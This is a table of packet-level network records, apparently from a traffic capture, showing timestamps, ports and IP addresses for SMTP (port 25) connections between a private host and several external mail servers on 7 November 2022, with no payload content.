Nov 7, 2022 22:24:24.471512079 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471510887 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471525908 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471539021 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471550941 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471565962 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471627951 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471642017 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471657038 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471669912 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471683025 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471695900 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471709967 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471719027 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471723080 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471738100 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471751928 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471765041 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471788883 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471817017 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471869946 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472050905 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472111940 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472125053 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472158909 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472172976 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472187042 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472198963 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472219944 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472237110 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472249985 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472261906 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472275019 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472286940 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472300053 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472311974 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472347021 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472379923 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472393990 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472428083 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472460032 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.472496033 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.510580063 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:24.510672092 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:24.524399996 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524430037 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524457932 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524476051 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524492025 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524508953 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524524927 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524540901 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524557114 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524574995 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524730921 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524749041 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524802923 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524820089 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524879932 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524954081 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.524996996 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525016069 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525088072 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525105000 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525160074 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525197983 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525412083 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525430918 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525449038 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525466919 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525484085 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525501013 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525532961 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525551081 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525629997 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525648117 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525706053 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525723934 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525960922 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525979042 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.525996923 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526014090 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526031017 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526048899 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526067972 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526084900 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526101112 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526118040 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526182890 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526204109 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526221037 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526407957 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526473999 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526504040 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526521921 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526566029 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526583910 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526664019 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526690006 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526709080 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526726961 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526742935 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526760101 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526776075 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526793003 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526812077 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526829004 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526845932 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526863098 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526909113 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526942968 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526962042 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.526982069 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527000904 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527017117 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527050018 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527066946 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527085066 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527160883 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527179003 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527198076 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527292967 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527312994 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527364969 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527381897 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527399063 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527434111 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527451992 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527471066 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527487993 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527507067 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527523994 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527540922 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527559042 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527575970 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527779102 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527800083 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527817965 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527836084 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527885914 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527904987 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527921915 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527939081 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527956009 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527971983 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.527987957 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.528004885 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.528021097 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.528037071 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.528053045 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.562731028 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.565567017 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:24.617083073 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.620913029 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.699491978 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:24.700686932 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:24.731301069 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.753480911 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:24.755858898 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:24.756139994 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:24.810729980 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:24.810930014 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:24.816826105 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:24.870213985 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.001642942 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.001858950 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.056360960 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.057023048 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.068078041 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:25.070405006 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:25.109165907 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.133660078 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:25.134089947 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:25.168147087 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.168613911 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.223537922 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.305479050 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359524012 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359569073 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359589100 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359610081 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359652042 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359694004 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359694958 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359714031 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359733105 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359747887 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359750032 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359764099 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359767914 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359782934 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359786034 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.359801054 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359817982 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.359841108 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.375950098 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:25.376235008 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:25.413721085 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413765907 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413785934 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413805008 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413821936 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413839102 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413856983 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413875103 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413892984 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413911104 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413928032 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413938999 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.413944960 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413961887 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413980961 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.413996935 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.414004087 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.414011955 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.414028883 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.414036989 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.414045095 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.414060116 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.414063931 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.414076090 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.414082050 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.414114952 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.414144993 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.438899040 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:25.439539909 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:25.468041897 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468077898 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468096972 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468113899 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468131065 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468137026 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468148947 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468167067 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468177080 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468184948 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468202114 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468214989 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468219042 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468235970 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468239069 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468261003 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468285084 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468327045 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468343973 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468360901 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468377113 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468398094 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468425035 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468425989 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468444109 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468461990 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468496084 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468508959 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468514919 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468555927 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468558073 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468600035 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468600035 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468616962 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468669891 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468713999 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468756914 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468775034 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468816996 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468818903 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468816996 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468836069 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468866110 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468879938 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468880892 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468898058 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.468949080 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.468992949 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469010115 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469027042 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469042063 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469043016 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469059944 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469084978 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469104052 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469109058 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469147921 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469156027 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469166040 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469193935 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469209909 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469269037 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469285965 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469301939 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.469335079 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.469357014 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522152901 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522186995 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522207022 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522226095 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522245884 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522361994 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522361994 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522389889 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522409916 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522429943 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522448063 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522469044 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522542000 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522563934 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522583008 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522583961 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522595882 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522610903 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522651911 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522660971 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522700071 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522763014 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522782087 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522842884 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.522861004 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522928953 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522949934 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.522994041 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523004055 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523011923 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523051023 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523087978 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523108006 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523128986 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523149967 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523169041 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523169994 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523185015 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523228884 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523230076 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523248911 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523271084 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523281097 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523293018 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523313999 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523317099 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523334980 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523354053 CET	49731	25	192.168.2.5	142.250.150.27
